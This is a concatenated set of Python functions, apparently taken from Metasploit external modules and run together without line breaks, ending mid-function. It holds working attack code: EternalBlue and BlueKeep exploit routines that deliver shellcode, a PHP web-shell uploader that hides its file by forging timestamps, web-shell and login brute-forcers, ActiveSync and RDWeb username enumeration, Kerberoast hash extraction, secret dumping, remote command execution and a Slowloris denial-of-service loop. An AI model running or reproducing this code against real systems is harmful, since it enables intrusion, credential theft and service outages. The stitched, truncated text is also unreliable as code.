def exploit(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', 'error') sys.exit(1) # XXX: Normalize strings to ints and unset options to empty strings rhost = args['RHOST'] rport = int(args['RPORT']) ushellcode = b64decode(args['payload_encoded']) if len(ushellcode) > 600: module.log( 'Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.' .format(600), 'error') sys.exit(1) module.log('shellcode size: {:d}'.format(len(ushellcode))) try: do_rce(rhost, rport, ushellcode) # XXX: Catch everything until we know better except Exception as e: module.log(str(e), 'error') sys.exit(1) module.log('done')
def run(args): if dependencies_missing: module.log('Python requests module missing, cannot continue', level='error') return scanner = login_scanner.make_scanner( lambda host, rport, username, password: valid_login(host, rport, username, password)) scanner(args)
def check_user(url, user, password, timeout): """Exploit the difference in HTTP responses from the ActiveSync service to identify valid and invalid usernames. It was also identified that valid accounts with 2FA enabled can be distinguished from valid accounts without 2FA.""" headers = {"MS-ASProtocolVersion": "14.0"} auth = (user, password) try: r = requests.options(url, headers=headers, auth=auth, timeout=timeout) except Exception as e: msg = "error checking {} : {}".format(user, e) if MSF: module.log(msg, "error") else: logging.error(msg) return user, UNKNOWN, None status = r.status_code if status == 401: return user, password, VALID_USER, r elif status == 404: if r.headers.get("X-CasErrorCode") == "UserNotFound": return user, password, INVALID_USER, r elif status == 403: return user, VALID_PASSWD_2FA, r elif status == 200: return user, password, VALID_LOGIN, r return user, password, UNKNOWN, r
def exploit(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', 'error') return # XXX: Normalize strings to ints and unset options to empty strings rport = int(args['RPORT']) numGroomConn = int(args['GroomAllocations']) smbuser = args['SMBUser'] if 'SMBUser' in args else '' smbpass = args['SMBPass'] if 'SMBPass' in args else '' # XXX: JSON-RPC requires UTF-8, so we Base64-encode the binary payload sc = eternalblue_kshellcode_x64 + b64decode(args['payload_encoded']) if len(sc) > 0xe80: module.log( 'Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.' .format(0xe80), 'error') sys.exit() # Now, shellcode is known. create a feaList feaList = createFeaList(len(sc)) module.log('shellcode size: {:d}'.format(len(sc))) module.log('numGroomConn: {:d}'.format(numGroomConn)) _exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass) module.log('done')
def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent): """Check a single login against the RDWeb Client The timeout is used to specify the amount of milliseconds where a response should consider the username invalid.""" url = f'https://{rhost}:{rport}/{targeturi}' body = f'DomainUserName={domain}%5C{username}&UserPass={password}' headers = {'Host':rhost, 'User-Agent': user_agent, 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': f'{len(body)}', 'Origin': f'https://{rhost}'} session = requests.Session() report_data = {'domain':domain, 'address': rhost, 'port': rport, 'protocol': 'tcp', 'service_name':'RDWeb'} try: request = session.post(url, data=body, headers=headers, timeout=(timeout / 1000), verify=False, allow_redirects=False) if request.status_code == 302: module.log(f'Login {domain}\\{username}:{password} is valid!', level='good') module.report_correct_password(username, password, **report_data) elif request.status_code == 200: module.log(f'Password {password} is invalid but {domain}\\{username} is valid! Response received in {request.elapsed.microseconds / 1000} milliseconds', level='good') module.report_valid_username(username, **report_data) else: module.log(f'Received unknown response with status code: {request.status_code}') except requests.exceptions.Timeout: module.log(f'Login {domain}\\{username}:{password} is invalid! No response received in {timeout} milliseconds', level='error') except requests.exceptions.RequestException as exc: module.log('{}'.format(exc), level='error') return
def run_upload(args): payload = """system('while true;do echo \\'<?php if(md5($_POST[{}])=="{}"){{@eval($_POST[{}]);}} ?>\\' >{};touch -m -d "2017-11-17 10:21:26" {};sleep 1;done;');""".format( args['upload_hash_password_name'], hashlib.md5(args['upload_hash_password'].encode()).hexdigest(), args['upload_password'], args['upload_file_name'], args['upload_file_name'], ) logging.debug(payload) payload = b64encode(payload.encode()).decode() logging.debug(payload) data = {args['password']: '******'.format(payload)} send_payload(args, data) time.sleep(3) ## for check args['hash_password_name'] = args['upload_hash_password_name'] args['hash_password'] = args['upload_hash_password'] args['TARGETURI'] = '/' + args['upload_file_name'] mark = ''.join(random.sample(string.ascii_letters, 10)) result = run_exec(args, "echo '{}';".format(mark)) logging.debug('result : [{}]'.format(result)) if mark in result: module.log('{}://{}:{}{} success uploaded!!!'.format( args['SCHEMA'], args['RHOST'], args['RPORT'], args['TARGETURI']), level='good')
def send_payload(args, data): headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", } if args['hash_password_name'] != '' and args['hash_password'] != '': data[args['hash_password_name']] = args['hash_password'] logging.debug(args['hash_password_name']) logging.debug(args['hash_password']) try: logging.debug('------------------send payload---------------') logging.debug('{}://{}:{}{}'.format(args['SCHEMA'], args['RHOST'], args['RPORT'], args['TARGETURI'])) for k in data: logging.debug('{}:{}'.format(k, data[k])) r = requests.post('{}://{}:{}{}'.format(args['SCHEMA'], args['RHOST'], args['RPORT'], args['TARGETURI']), data=data, headers=headers, verify=False, timeout=2) if r.status_code == 200: module.log(r.text, 'good') return r.text except requests.exceptions.RequestException as e: logging.error(str(e)) return ''
def main(args): """Setup worker threads and handle shutdown.""" user_file = args['users'] output_file = args['output'] url = args['url'] password = args['password'] max_threads = args['threads'] timeout = args['timeout'] threads = [] meta_threads = [] max_size = max_threads / 2 if max_size < 1: max_size = 1 in_q = queue.Queue(maxsize=max_size) out_q = queue.Queue(maxsize=max_size) try: report_thread = threading.Thread(name="Thread-report", target=report, args=(out_q, output_file)) report_thread.start() meta_threads.append(report_thread) file_thread = threading.Thread(name="Thread-inputfile", target=get_users, args=(user_file, in_q, max_threads)) file_thread.start() meta_threads.append(file_thread) for num in range(max_threads): t = threading.Thread(name="Thread-worker{}".format(num), target=check_users, args=(in_q, out_q, url, password, timeout)) t.start() threads.append(t) for thread in threads: while thread.is_alive(): thread.join(timeout=0.1) out_q.put(DIE) for thread in meta_threads: while thread.is_alive(): thread.join(timeout=0.1) except KeyboardInterrupt as e: msg = "Received KeyboardInterrupt - shutting down" if MSF: module.log(msg, "critical") else: logging.critical(msg) SHUTDOWN_EVENT.set() for thread in threads: while thread.is_alive(): thread.join(timeout=0.1) out_q.put(DIE) for thread in meta_threads: while thread.is_alive(): thread.join(timeout=0.1)
def exploit(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', 'error') return # XXX: Normalize strings to ints and unset options to empty strings rport = int(args['RPORT']) numGroomConn = int(args['GroomAllocations']) smbuser = args['SMBUser'] if 'SMBUser' in args else '' smbpass = args['SMBPass'] if 'SMBPass' in args else '' # XXX: JSON-RPC requires UTF-8, so we Base64-encode the binary payload sc = eternalblue_kshellcode_x64 + b64decode(args['payload_encoded']) if len(sc) > 0xe80: module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error') sys.exit() # Now, shellcode is known. create a feaList feaList = createFeaList(len(sc)) module.log('shellcode size: {:d}'.format(len(sc))) module.log('numGroomConn: {:d}'.format(numGroomConn)) _exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass) module.log('done')
def check_banner(args): module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format( args['rhost'], args['rport']), level='debug') c = smtplib.SMTP() try: (code, banner) = c.connect(args['rhost'], int(args['rport'])) except: return 'unknown' c.quit() if code == 220 and 'Haraka' in banner: versions = re.findall('(\d+\.\d+\.\d+)', banner) if versions: if StrictVersion(versions[0]) < StrictVersion('2.8.9'): return 'appears' else: return 'safe' else: return 'detected' elif code == 220: return 'detected' else: return 'unknown'
def get_ad_domain(rhost, rport, user_agent): """Retrieve the NTLM domain out of a specific challenge/response""" domain_urls = [ 'aspnet_client', 'Autodiscover', 'ecp', 'EWS', 'OAB', 'Microsoft-Server-ActiveSync', 'PowerShell', 'rpc' ] headers = { 'Authorization': 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==', 'User-Agent': user_agent, 'Host': rhost } session = requests.Session() for url in domain_urls: target_url = f"https://{rhost}:{rport}/{url}" request = session.get(target_url, headers=headers, verify=False) # Decode the provided NTLM Response to strip out the domain name if request.status_code == 401 and 'WWW-Authenticate' in request.headers and \ 'NTLM' in request.headers['WWW-Authenticate']: domain_hash = request.headers['WWW-Authenticate'].split( 'NTLM ')[1].split(',')[0] domain = base64.b64decode(bytes(domain_hash, 'utf-8')).replace( b'\x00', b'').split(b'\n')[1] domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8') module.log(f'Found Domain: {domain}', level='good') return domain module.log('Failed to find Domain', level='error') return None
def search_hal_heap(ip, port): global PHALP_INTERRUPT global PHALP_APIC_INTERRUPT search_len = 0x10000 index = PHAL_HEAP page_index = PHAL_HEAP cons = 0 phys_addr = 0 while index < PHAL_HEAP + search_len: # It seems that pages in the HAL heap are not necessarily contiguous in physical memory, # so we try to reduce number of reads like this if not (index & 0xFFF): phys_addr = get_phys_addr(ip, port, index) else: phys_addr = (phys_addr & 0xFFFFFFFFFFFFF000) + (index & 0xFFF) buff = read_physmem_primitive(ip, port, phys_addr) if buff is None: sys.exit("[-] physical read primitive failed!") entry_indices = 8 * (((len(buff) + 8 // 2) // 8) - 1) i = 0 # This heuristic seems to be OK to find HalpInterruptController, but could use improvement while i < entry_indices: entry = struct.unpack("<Q", buff[i:i + 8])[0] i += 8 if (entry & 0xFFFFFF0000000000) != 0xFFFFF80000000000: cons = 0 continue cons += 1 if cons > 3: PHALP_INTERRUPT = index + i - 0x40 module.log("found HalpInterruptController at %lx" % PHALP_INTERRUPT) if len(buff) < i + 0x40: buff = read_physmem_primitive(ip, port, phys_addr + i + 0x38) PHALP_APIC_INTERRUPT = struct.unpack("<Q", buff[0:8])[0] if buff is None: sys.exit("[-] physical read primitive failed!") else: PHALP_APIC_INTERRUPT = struct.unpack( "<Q", buff[i + 0x38:i + 0x40])[0] module.log("found HalpApicRequestInterrupt at %lx" % PHALP_APIC_INTERRUPT) return index += entry_indices sys.exit("[-] failed to find HalpInterruptController!")
def report(out_q, output_file): """Thread worker function. Output to terminal and file.""" msf_template = "{code} {valid} {user}:{password}" template = "[{s}] {code} {valid} {user}:{password}" symbols = { VALID_USER: "******", INVALID_USER: "******", VALID_PASSWD_2FA: "#", VALID_LOGIN: "******", UNKNOWN: "?" } while not SHUTDOWN_EVENT.is_set(): try: result = out_q.get() except queue.Empty as e: msg = "report: out_q empty" if MSF: module.log(msg, "debug") else: logging.debug(msg) continue if result == DIE: out_q.task_done() msg = "report thread dying." if MSF: module.log(msg, "debug") else: logging.debug(msg) break else: user, password, valid, r = result if r is None: code = "???" else: code = r.status_code s = symbols.get(valid) output = template.format(s=s, code=code, valid=valid, user=user, password=password) if MSF: msf_output = msf_template.format(code=code, valid=valid, user=user, password=password) msf_reporters = { VALID_USER: module.report_wrong_password, VALID_PASSWD_2FA: module.report_correct_password, VALID_LOGIN: module.report_correct_password } module.log(msf_output, "debug") msf_reporter = msf_reporters.get(valid) if msf_reporter is not None: msf_reporter(user, password) if valid in [VALID_LOGIN, VALID_PASSWD_2FA, VALID_USER]: module.log(msf_output, "good") else: module.log(msf_output, "error") else: logging.info(output) if output_file: with open(output_file, "a", 1) as f: f.write("{}\n".format(output)) out_q.task_done()
def run(args): module.LogHandler.setup( msg_prefix='{}:{} - '.format(args['rhost'], args['RPORT'])) if dependencies_missing: logging.error( 'Module dependency (requests) is missing, cannot continue.') logging.error('use (pip install requests) to install the dependency.') return ## logging.debug('Module path:{}'.format(__file__)) ## pass_file = args["PASS_FILE"] if pass_file == '': pass_file = os.path.join(os.path.dirname(__file__), 'caidao_pass.txt') try: with open(pass_file) as f: passwords = f.readlines() except FileNotFoundError as e: logging.warning('Can`t find the pass file:{}.'.format(pass_file)) return headers = { "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", } try: for password in passwords: password = password[:-1] mark = ''.join(random.sample(string.ascii_letters, 10)) data = {password: '******'.format(mark)} r = requests.post('{}://{}:{}{}'.format(args['SCHEMA'], args['rhost'], args['RPORT'], args['TARGETURI']), data=data, headers=headers, verify=False, timeout=4) if mark in r.text: module.log('{} - Success:{}'.format(args['rhost'], password), level='good') module.report_correct_password('', password) with open(os.path.basename(__file__) + '.success.log', 'a') as f: f.write('{}://{}:{}{} {}\n'.format(args['SCHEMA'], args['rhost'], args['RPORT'], args['TARGETURI'], password)) f.flush() return else: logging.error('Failed: {}'.format(password)) r.close() except requests.exceptions.RequestException as e: logging.error('{}'.format(e))
def run(args): if dependencies_missing: module.log('Module dependencies (impacket, pyasn1, pyOpenSSL) missing, cannot continue', level='error') return options = {} options['dc_ip'] = args['rhost'] executer = GetUserSPNs(args['user'], args['pass'], args['domain'], options) executer.run()
def get_guestSid(req): try: guestSid = req.headers["Set-Cookie"].split( 'X-BackEndCookie=')[1].split(';')[0] module.log("Guest SID: " + guestSid, "good") return guestSid except Exception as e: module.log("get guest SID error:" + str(e), "error") return None
def run(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', level='error') return _msf_impacket.pre_run_hook(args) executer = DCOMEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], share='ADMIN$', noOutput=args['OUTPUT'] != 'true', dcomObject=args['OBJECT']) executer.run(args['rhost'])
def run(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', level='error') return _msf_impacket.pre_run_hook(args) executer = WMIEXEC(args['COMMAND'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], share='ADMIN$', noOutput=args['OUTPUT'] != 'true') executer.run(args['rhost'])
def run(args): if dependencies_missing: module.log('Python requests module missing, cannot continue', level='error') return scanner = login_scanner.make_scanner( lambda host, rport, username, password: valid_login( host, rport, username, password)) scanner(args)
def exploit(args): #msfprint(args, repr(args)) #msfprint(args, dir(args)) try: exploit_foreal(args) # XXX: Catch everything until we know better except Exception as e: module.log(str(e), 'error') sys.exit(1)
def exploit(args): module.args = args try: start = time.time() # fix MSF stuff args['RPORT'] = int(args['RPORT']) args['GROOMSIZE'] = int(args['GROOMSIZE']) args['GROOMBASE'] = int(args['GROOMBASE']) if args['EXITFUNC'] != 'thread': module.log("ERROR: set EXITFUNC thread", 'error') sys.exit(1) module.args = args #vprint_status("Args: " + repr(args)) protocol_str = 'PROTOCOL_' + args['SSLVersion'] protocol = getattr(ssl, protocol_str) \ if hasattr(ssl, protocol_str) \ else ssl.PROTOCOL_TLSv1 rdp = RdpClient(args['RHOST'], args['RPORT'], protocol, print_func=dummy_print) groom = GroomStrategy.factory(rdp, args) if not groom: print_bad("Invalid groom strategy: %s" % (args['GROOM'])) sys.exit(-1) rdp.add_channel(ExploitRdpdrChannel(groom)) # "rdpdr" rdp.add_channel(RdpChannel("rdpsnd")) rdp.add_channel(RdpChannel("cliprdr")) rdp.add_channel(RdpChannel("MS_XXX0")) rdp.add_channel(RdpChannel("MS_XXX1")) rdp.add_channel(RdpChannel("MS_XXX2")) rdp.add_channel(RdpChannel("MS_XXX3")) rdp.add_channel(RdpChannel("MS_XXX4")) rdp.add_channel(RdpChannel("MS_XXX5")) rdp.add_channel(RdpChannel("MS_T120")) groom.before_connect() print_status("Connecting to the target...") rdp.connect() except Exception as e: print_bad(str(e)) print_status(traceback.format_exc()) sys.exit(1) finally: print_status("Exploit completed in %d seconds." % (time.time() - start))
def run(args): if dependencies_missing: module.log('Python Teradata module missing, cannot continue', level=error) return # Define UdaExec ODBC connection "application" globally, must be before LogHandler udaExec = teradata.UdaExec(appName="Auth", version="1.0", logConsole=False, configureLogging=False) module.LogHandler.setup(msg_prefix='{}:{} - '.format(args['rhost'], 1025)) scanner = login_scanner.make_scanner(lambda host, port, username, password: valid_login(udaExec, host, username, password)) scanner(args)
def find_pml4_selfref(ip, port): global PML4_SELFREF self_ref = search_selfref(ip, port) if self_ref is None: sys.exit("[-] failed to find PML4 self reference entry!") PML4_SELFREF = (self_ref & 0xFFF) >> 3 module.log("found PML4 self-ref entry %0x" % PML4_SELFREF)
def print_status_counter(description, i, bound, start=0x0): modu = int(bound / 100) if (i != 0 and i + 1 != bound) and (i % modu != 0): return perc = int((i + 1) / bound * 100) msg = "%s - %d%%" % (full_msg(description), perc) if i + 1 != bound: msg = msg + "\033[F\r" module.log(msg)
def run(args): host = args['rhost'] port = int(args['rport']) module.log("Creating sockets...", 'info') exp = json.dumps({'id': 1, 'jsonrpc': '1.0', 'method': '%n'}).encode() try: s = socket.create_connection((host, port), 10) s.send(exp) s.close() except socket.error: module.log("connect error exit")
async def run_scanner(payload, pattern, args, onmatch, **timeouts): probes = [probe_host(host, int(args['rport']), payload, **timeouts) for host in args['rhosts']] async for (target, res) in Scan(probes): if isinstance(res, Exception): module.log('{}:{} - Error connecting: {}'.format(*target, res), level='error') elif res and re.search(pattern, res): module.log('{}:{} - Matches'.format(*target), level='good') module.log('{}:{} - Matches with: {}'.format(*target, res), level='debug') onmatch(target, res) else: module.log('{}:{} - Does not match'.format(*target), level='info') module.log('{}:{} - Does not match with: {}'.format(*target, res), level='debug')
def run(args): """Metasploit callback. Convert args to lowercase for internal compatibility.""" if dependencies_missing: module.log("Module dependency (requests) is missing, cannot continue") return args['TIMEOUT'] = float(args['TIMEOUT']) args['THREADS'] = int(args['THREADS']) lower_args = {} for arg in args: lower_args[arg.lower()] = args[arg] main(lower_args)
def run(args): host = args['rhost'] port = int(args['rport']) module.log("Creating sockets...", 'info') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) exp = '''{"id": 1,"jsonrpc": "1.0","method": "%n"}''' try: s.connect((host, port)) s.send(bytes(exp, 'utf-8')) s.close() except socket.error: module.log("connect error exit")
def print_sleep(description, seconds, client, tpkts): seconds = int(seconds) while True: msg = "%s - %d sec " % (full_msg(description), seconds) if seconds == 0: module.log(msg) break msg = msg + "\033[F\r" seconds -= 1 module.log(msg) client.transport_write(tpkts) time.sleep(1)
def run(args): """Execute wrapper using provided arguments.""" module.LogHandler.setup(msg_prefix="{} - ".format(args["RHOSTS"])) if DEPENDENCIES_MISSING: logging.error("Module dependency (requests) is missing, cannot continue") return try: cotopaxi_output = common_utils.scrap_output( main, [args["RHOSTS"], args["RPORTS"], "-P", "DTLS"] ) module.log(cotopaxi_output, "error") start_index = cotopaxi_output.find("Identified issues:") end_index = cotopaxi_output.find("Total number", start_index) if start_index < 0 or end_index < 0: raise Exception("Incorrect format of Cotopaxi response!") protocol_services = cotopaxi_output[ start_index + 2 : end_index - 1 ].splitlines()[1:] for protocol_service in protocol_services: name_start = protocol_service.find("Protocol.") name_end = protocol_service.find(":", name_start) proto_name = protocol_service[name_start + len("Protocol.") : name_end] services = protocol_service[name_end + 3 : -1].split(",") for service in services: service = service.strip(" '") service = service.split(":") service_ip = service[0] service_port = service[1].split(" ")[0] vuln_name = service[2] transport_proto = ( PROTOCOL_TESTERS[getattr(Protocol, proto_name)] .transport_protocol() .__name__ ) module.log( "Found service - host: {} port: {} proto: {} over {}".format( service_ip, service_port, proto_name, transport_proto ), "error", ) module.log( "Found vulnerability - host: {} port: {} name: {} ".format( service_ip, service_port, vuln_name ), "error", ) module.report_service( service_ip, proto=transport_proto.lower(), port=service_port, name=proto_name.lower(), ) module.report_vuln( service_ip, name=vuln_name, References="Cotopaxi docs" ) except Exception as exc: module.log("Error: {}".format(exc), "error") logging.error(traceback.format_exc()) return
def run(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', level='error') return _msf_impacket.pre_run_hook(args) dumper = DumpSecrets(args['rhost'], args['SMBUser'], args['SMBPass'], args['SMBDomain'], args['OutputFile'], args['ExecMethod']) try: dumper.dump() except Exception as e: logging.error(e, exc_info=True)
def valid_login(host, rport, username, password): payload = { "jsonrpc": "2.0", "id": 0, "method": "call", "params": ["0" * 32, "session", "login", { "username": username, "password": password }]} url = 'http://' + str(host) + ':' + str(rport) + '/ubus' session = requests.Session() try: request = session.post(url, json=payload) response = json.loads(request.text) if response['result'][0] != 6 and len(response['result']) > 1: ubus_rpc_session = response['result'][1]['ubus_rpc_session'] module.log('Ubus RPC Session: ' + ubus_rpc_session, level='good') else: return False except requests.exceptions.ConnectionError: module.log("Unhandled exception: ConnectionError", level='error') return False except ValueError: module.log("Unhandled exception: Response JSON DecodeError", level='error') return False except KeyError: module.log("Unhandled exception: Dictionary KerError in Response", level='error') return False else: return True
def load_wordlist(args): user_list = [] pw_list = [] with open(args['USER_FILE'], "r", encoding="utf-8") as user_file: for user in user_file: user = user.strip("\n") user_list.append(user) module.log("users loaded", "debug") with open(args['PASS_FILE'], "r", encoding="utf-8") as pwfile: for password in pwfile: password = password.strip("\n") pw_list.append(password) module.log("passwords loaded", "debug") return user_list, pw_list
def verify_service(rhost, rport, targeturi, timeout, user_agent): """Verify the service is up at the target URI within the specified timeout""" url = f'https://{rhost}:{rport}/{targeturi}' headers = {'Host':rhost, 'User-Agent': user_agent} try: request = requests.get(url, headers=headers, timeout=(timeout / 1000), verify=False, allow_redirects=False) return request.status_code == 200 and 'RDWeb' in request.text except requests.exceptions.Timeout: return False except Exception as exc: module.log(str(exc), level='error') return False
def get_users(user_file, in_q, max_threads): """Thread worker function. Load candidate usernames from file into input queue.""" with open(user_file, "r") as f: for line in f: if SHUTDOWN_EVENT.is_set(): break user = line.strip() msg = "user = {}".format(user) if MSF: module.log(msg, "debug") else: logging.debug(msg) in_q.put(user) for _ in range(max_threads): in_q.put(DIE)
def sendEcho(conn, tid, data): pkt = smb.NewSMBPacket() pkt['Tid'] = tid transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transCommand['Parameters'] = smb.SMBEcho_Parameters() transCommand['Data'] = smb.SMBEcho_Data() transCommand['Parameters']['EchoCount'] = 1 transCommand['Data']['Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: module.log('got good ECHO response') else: module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
def check_users(in_q, out_q, url, password, timeout): """Thread worker function which retrieves candidate username from input queue runs the check_user function and outputs the result to the output queue.""" while not SHUTDOWN_EVENT.is_set(): try: user = in_q.get() except queue.Empty as e: msg = "check_users: in_q empty" if MSF: module.log(msg, "debug") else: logging.debug(msg) continue if user == DIE: in_q.task_done() msg = "check_users thread dying" if MSF: module.log(msg, "debug") else: logging.debug(msg) break else: msg = "checking: {}".format(user) if MSF: module.log(msg, "debug") else: logging.debug(msg) try: result = check_user(url, user, password, timeout) except Exception as e: msg = "Error checking {} : {}".format(user, e) if MSF: module.log(msg, "error") else: logging.error(msg) in_q.task_done() continue msg = "{}".format(result) if MSF: module.log(msg, "debug") else: logging.debug(msg) out_q.put(result) in_q.task_done()
def check_banner(args): module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug') c = smtplib.SMTP() (code, banner) = c.connect(args['rhost'], int(args['rport'])) c.quit() if code == 220 and 'Haraka' in banner: versions = re.findall('(\d+\.\d+\.\d+)', banner) if versions: if StrictVersion(versions[0]) < StrictVersion('2.8.9'): return 'appears' else: return 'safe' else: return 'detected' elif code == 220: return 'detected' else: return 'unknown'
def run_scanner(args, login_callback): userpass = args['userpass'] rhost = args['rhost'] rport = int(args['rport']) sleep_interval = float(args['sleep_interval']) if isinstance(userpass, str): userpass = [ attempt.split(' ', 1) for attempt in userpass.splitlines() ] curr = 0 total = len(userpass) pad_to = len(str(total)) for [username, password] in userpass: try: # Call per-combo login function curr += 1 if login_callback(rhost, rport, username, password): module.log('{}:{} - [{:>{pad_to}}/{}] - {}:{} - Success' .format(rhost, rport, curr, total, username, password, pad_to=pad_to), level='good') module.report_correct_password(username, password) else: module.log('{}:{} - [{:>{pad_to}}/{}] - {}:{} - Failure' .format(rhost, rport, curr, total, username, password, pad_to=pad_to), level='info') module.report_wrong_password(username, password) time.sleep(sleep_interval) except Exception as e: module.log('{}:{} - [{:>{pad_to}}/{}] - {}:{} - Error: {}' .format(rhost, rport, curr, total, username, password, e, pad_to=pad_to), level='error')
def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: pass else: domain = self.__domain principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() module.log('Using TGT from cache', level='debug') return TGT else: module.log('No valid credentials found in cache', level='debug') # No TGT in cache, request it userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, compute_lmhash(password), compute_nthash(password), self.__aesKey, kdcHost=self.__kdcHost) except Exception, e: module.log('Exception for getKerberosTGT', level='error') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost)
def createSessionAllocNonPaged(target, port, size, username, password): conn = MYSMB(target, port, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set _, flags2 = conn.get_flags() # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: module.log('SMB1 session setup allocate nonpaged pool success') return conn if username: # Try login with valid user because anonymous user might get access denied on Windows Server 2012. # Note: If target allows only NTLMv2 authentication, the login will always fail. # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16) flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 conn.set_flags(flags2=flags2) # new SMB packet to reset flags pkt = smb.NewSMBPacket() pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(password)) # UnicodePasswordLen field is in Reserved for extended security format. sessionSetup['Parameters']['Reserved'] = len(pwd_unicode) sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(username)) + pwd_unicode + username + '\x00'*16 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: module.log('SMB1 session setup allocate nonpaged pool success') return conn # lazy to check error code, just print fail message module.log('SMB1 session setup allocate nonpaged pool failed', 'error') sys.exit(1)
def run(args): host = args['rhost'] port = int(args['rport']) use_ssl = args['ssl'] == "true" rand_user_agent = args['rand_user_agent'] == "true" socket_count = int(args['sockets']) delay = int(args['delay']) module.log("Attacking %s with %s sockets" % (host, socket_count), 'info') module.log("Creating sockets...", 'info') for i in range(socket_count): try: module.log("Creating socket number %s" % i, 'debug') s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent) except socket.error: break list_of_sockets.append(s) while True: module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info') for s in list(list_of_sockets): try: s.send("{}: {}\r\n".format(create_random_header_name(random.randint(8, 16)), random.randint(1, 5000)).encode("utf-8")) except socket.error: list_of_sockets.remove(s) for _ in range(socket_count - len(list_of_sockets)): module.log("Recreating socket...", 'debug') try: s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent) if s: list_of_sockets.append(s) except socket.error: break time.sleep(delay)
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn): decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:]))) module.log('{}'.format(entry), level='good') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:]))) module.log('{}'.format(entry), level='good') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = 